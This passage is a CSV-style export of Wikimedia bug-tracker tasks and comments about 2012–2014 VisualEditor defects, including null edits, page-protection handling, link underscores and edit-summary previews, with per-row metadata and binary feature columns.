+Possibly we could over-ride the edit-success box to say ""You made no changes so nothing was saved"" or something similar? We should probably talk to E3 to see if this is something they'd want to see happen in core anyway...",,,1363280830,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+196845,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Right now the Save button becomes enabled after the first transaction is applied and never goes back to disabled, even if the first transaction is undone. While this isn't ideal, doing a full HTML comparison on pretty much every keystroke may be a bit of an unnecessary overhead. Even doing an transaction stack comparison is a little unnecessary.
+
+The real problem here is the creation of null edits and that only needs to be addressed when the save button is pressed. This could trigger an alert (""You haven't made any changes"") and reset the button to disabled. We should also run this check in the window.onbeforeunload handler so people can leave the page nag-free if they undo their edits.",,,1363254743,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+44897,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"Try to VE-edit this page: http://www.mediawiki.org/wiki/VisualEditor:Extension:ConfirmAccount
+
+Compare: http://parsoid.wmflabs.org/mw/VisualEditor:Extension:ConfirmAccount
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1355068140,1361383659.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-log2ro3sq5p5acp2puga,task_description,declined,True,c1,0,False,False,True,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+194614,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"This works now, ""&nbsp;"" isn't spelled out any more, and the nbsp is rendered as a <span class=""ve-ce-MWEntity""> in the editor as it's supposed to be. There are probably some selection issues with the nbsp's and with the ampersands encoded as &amp; but that's due to a different bug.",,,1361383659,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-log2ro3sq5p5acp2puga,task_subcomment,,True,c1,1,False,,,-19,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
+194609,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"Indeed. The wikitext source reads:
+
+ [[File:Bulbgraph.png|18px|Note|link=]]&nbsp;'''Note''':
+
+The html rendering:
+
+ <img> Note:
+
+VisualEditor:
+
+ <img>&nbsp;Note:
+
+Where ""&nbsp;"" are all separate, selectable and editable characters.
+
+They do roundtrip properly though.",,,1355070979,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-log2ro3sq5p5acp2puga,task_subcomment,,True,c1,0,True,,,-30,,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1
+44801,VisualEditor: Selecting multiple empty paragraphs results in selection decreasing by one line per poll interval,"Steps to reproduce:
+Edit a page with VisualEditor.
+Press return key a few times.
+Select those empty lines with mouse or shift+arrows.
+Watch in awe as the selected lines decrease one per polling interval.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1354835520,1354844641.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-7cmqtr6tlqrqawji66zc,task_description,resolved,True,c1,0,False,False,True,-30,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+189204,VisualEditor: Selecting multiple empty paragraphs results in selection decreasing by one line per poll interval,Fixed here: https://gerrit.wikimedia.org/r/#/c/37364/,,,1354844641,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-7cmqtr6tlqrqawji66zc,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44665,VisualEditor: Link inspector suggestions highlight multiple items if they have the same label,"Reproduce:
+
+1. Make a link to http://www.google.com
+2. Click out of the link
+3. Inspect the link
+4. Both new page and external link are selected
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1354583100,1354652046.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-sqz4vnvgzmxmvjkrplhx,task_description,resolved,True,c1,0,False,False,True,-30,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+181467,VisualEditor: Link inspector suggestions highlight multiple items if they have the same label,Patched in https://gerrit.wikimedia.org/r/#/c/36799/ and merged.  Marking resolved.,,,1354652046,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sqz4vnvgzmxmvjkrplhx,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+44661,VisualEditor: Context menu shows up in the wrong place on load if document starts with link,"When a document starts with a link, the animation on the page cause the context's location to be incorrect.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1354572300,1354589382.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-jprjjnlynxuoul2du4w2,task_description,resolved,True,c1,0,False,False,True,-30,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+206793,VisualEditor: Context menu shows up in the wrong place on load if document starts with link,Fixed in gerrit 36653,,,1354573861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jprjjnlynxuoul2du4w2,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+44469,VisualEditor: Leading newlines in <pre>s get eaten,"https://www.mediawiki.org/w/index.php?title=VisualEditor%3APre&diff=609875&oldid=609874
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1353980580,1354757611.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-nhhyjbko2xftjs44uuqt,task_description,resolved,True,c1,0,False,False,True,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+195152,VisualEditor: Leading newlines in <pre>s get eaten,"Parsoid fixes have landed, issue confirmed fixed in VE as well.",,,1354757611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+195146,VisualEditor: Leading newlines in <pre>s get eaten,The VE portion of this is fixed in https://gerrit.wikimedia.org/r/36692 . The Parsoid portion of this is bug 42666 and bug 42667.,,,1354584256,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+195141,VisualEditor: Leading newlines in <pre>s get eaten,"The approach we're taking now is that VE will work around this in cases where there are semantically meaningful newlines in the <pre> (i.e. >=1 newline read from the DOM) by adding a newline. That only leaves the ambiguity between <pre>Foo</pre> and <pre>\nFoo</pre> , which is syntactic, not semantic, and will be handled by Parsoid using round-trip data.",,,1354566475,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+195136,VisualEditor: Leading newlines in <pre>s get eaten,"(In reply to comment #1)
+> We can work around this in the converter by setting a flag on these pre's on
+> the way in and checking for it on the way out.
+...or not, grah. Because of the way the DOM API works, I have no way of detecting this from within a browser.",,,1354563233,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+195130,VisualEditor: Leading newlines in <pre>s get eaten,"Mark and I looked at this and discovered it was because VE round-trips the HTML in question through the browser's HTML parser, which turns ""<pre>\n"" into ""<pre>"". Shockingly, this is actually mandated by the HTML spec.
+
+We can work around this in the converter by setting a flag on these pre's on the way in and checking for it on the way out.",,,1354155689,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nhhyjbko2xftjs44uuqt,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+44278,"VisualEditor: After clicking out of link inspector, pressing enter removes wrong text","1. Type the text ""Foo bar baz""
+2. Select ""bar""
+3. Click the link toolbar button
+4. Click between the a and the z (""ba|z"") to cause the inspector to close
+5. Press enter
+
+Expected result: paragraph is split with ""z"" in a new paragraph
+Actual result: ""bar"" is removed, paragraph is split with ""baz"" in a new paragraph
+
+Occurs in both Firefox and Chrome. Isn't reproducible 100% of the time.
+
+Theory:
+1. User changes selection to ba|z
+2. SurfaceObserver notices and adjusts its selection
+3. Link inspector notices and triggers annotation on a fragment with a different range (the link)
+4. Some bug in SurfaceObserver or SurfaceFragment causes SO to believe the current selection is now the link
+5. User presses enter, SO removes what it believes is the selection
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1353378540,1353971697.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ca4ckkjl6hs65faqueyf,task_description,resolved,True,c1,0,False,False,True,-32,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+183445,"VisualEditor: After clicking out of link inspector, pressing enter removes wrong text",Fixed in recent inspector rewrite: I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971697,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-ca4ckkjl6hs65faqueyf,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44276,VisualEditor: Zero-length selection in link should show inspector icon,"This currently works for selections within links, but not for zero-length selections. Except if you hit bug 42275, then the inspector icon will appear on every zero-length selection, anywhere, and will chase you forever and ever.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1353376860,1353971278.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-uv4cfp2ue45fk333wtws,task_description,resolved,True,c1,0,False,False,True,-32,,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+183359,VisualEditor: Zero-length selection in link should show inspector icon,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971560,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+183356,VisualEditor: Zero-length selection in link should show inspector icon,This was resolved in the recent inspector rewrite.,,,1353971278,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+183351,VisualEditor: Zero-length selection in link should show inspector icon,"This bug seems to only be triggered by newly created links, not by links that were already present on the page.",,,1353379521,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uv4cfp2ue45fk333wtws,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+44142,VisualEditor: Don't offer Edit button when user cannot edit page,"The VisualEditor interface does not currently recognize page protection. If a user visits a protected page (a page to which he or she does not have access to edit), VisualEditor will still display a working edit form and the first click of the ""Save page"" button will work. It will produce a dialog box that will present a second ""Save page"" button that does not work. Ideally, VisualEditor would not let a user get this far without indicating that the page is uneditable.
+
+Related to this, there's no warning for administrators that a page is protected when they're editing the page. This may be a separate bug, however.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1352958960,1354131981.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+200768,VisualEditor: Don't offer Edit button when user cannot edit page,"Yeah, well, different ""protection"" levels for VE and non-VE editors feels like the wrong kind of solution.",,,1354127087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+200763,VisualEditor: Don't offer Edit button when user cannot edit page,"That's not a problem I guess, but I noticed while implementing it that it was a matter of removing the code that explicitly ignored the presence of the edit button for sysops.
+
+Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25",,,1354126324,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+200756,VisualEditor: Don't offer Edit button when user cannot edit page,"If we do that it means we can no longer pseudo-restrict ""Edit source"" on a different level than ""VisualEditor Edit"".
+
+e.g. on MediaWiki.org we protected the namespace with sysop, but allowed users to edit it with VE.",,,1354067377,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+200748,VisualEditor: Don't offer Edit button when user cannot edit page,"I suppose the lazy solution (use the presence of a button outputted by server side) is sufficient, especially given that if someone games it, saving will still fail. Its only for the UI.",,,1354054378,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-31,,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+200739,VisualEditor: Don't offer Edit button when user cannot edit page,"And for the current page, I suppose wgRestrictionEdit and wgUserGroups could be used.",,,1353124274,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+200731,VisualEditor: Don't offer Edit button when user cannot edit page,We have mw.user.getRights()[async] now in core as well.,,,1353124198,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+200723,VisualEditor: Don't offer Edit button when user cannot edit page,We should be able to detect in JS whether the user has the edit permission for this page. One way we can detect this is by checking whether the user gets an edit tab or a view source tab.,,,1353115536,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ij7dtc5vwzmge2qmliq,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+44140,VisualEditor: Internal page links touched by VisualEditor contain underscores,"Currently when a user uses the link dialog box tool thing in VisualEditor to specify where certain text should link to, if the user specifies an internal page as the target, the wikitext for the link will use underscores.
+
+For example, I highlight some text in VisualEditor with my mouse and then click the link icon. A ""Hyperlink"" dialog box appears and I enter ""MediaWiki on IRC"" into the text input area. I hit the ""return"" key on my keyboard to make the dialog box disappear and now I have a blue link in my VisualEditor interface. If I then save this page and look at its wikitext source, I see:
+
+[[MediaWiki_on_IRC|fffffffff]]
+
+Internal links are using underscores. This is wrong.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49310",Medium,50.0,1352957940,1353380505.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-wydq63k4j2l2fgeenwfb,task_description,resolved,True,c1,0,False,False,True,-33,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+200647,VisualEditor: Internal page links touched by VisualEditor contain underscores,"This was an issue in VE's internal link handling code, not in Parsoid. Although the original reason for the code working the way it did (normalizing to underscores) was indeed to make Parsoid happy, as I found out the hard way when I tried to fix this by just normalizing to spaces instead.
+
+Fixed in https://gerrit.wikimedia.org/r/34253",,,1353380505,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wydq63k4j2l2fgeenwfb,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+200638,VisualEditor: Internal page links touched by VisualEditor contain underscores,Possibly a Parsoid issue?,,,1353018108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wydq63k4j2l2fgeenwfb,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+44139,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"The current VisualEditor interface has a ""Save page"" dialog box with an edit summary input field. However, this edit summary input field accepts wikitext, but has no preview feature for what the rendered wikitext will look like. This is a regression from the standard (non-VisualEditor) interface.
+
+Roan said that there be a mini-editor or mini-parser or something stuck in the edit summary area at some point.
+
+**See Also**: {T62535}",Medium,50.0,1352957640,1392853679.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-f4bx3pmct7c24xmmqmka,task_description,resolved,True,c1,0,False,False,False,-33,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+200597,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Change 112490 merged by jenkins-bot:
+Show preview of edit summary in review screen
+
+https://gerrit.wikimedia.org/r/112490",,,1392851241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4bx3pmct7c24xmmqmka,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+200592,VisualEditor: There is not preview of edit summaries (which are wikitext) - show it in the wikitext diff?,"Change 112490 had a related patch set uploaded by Alex Monk:
+Show preview of edit summary in review screen
+
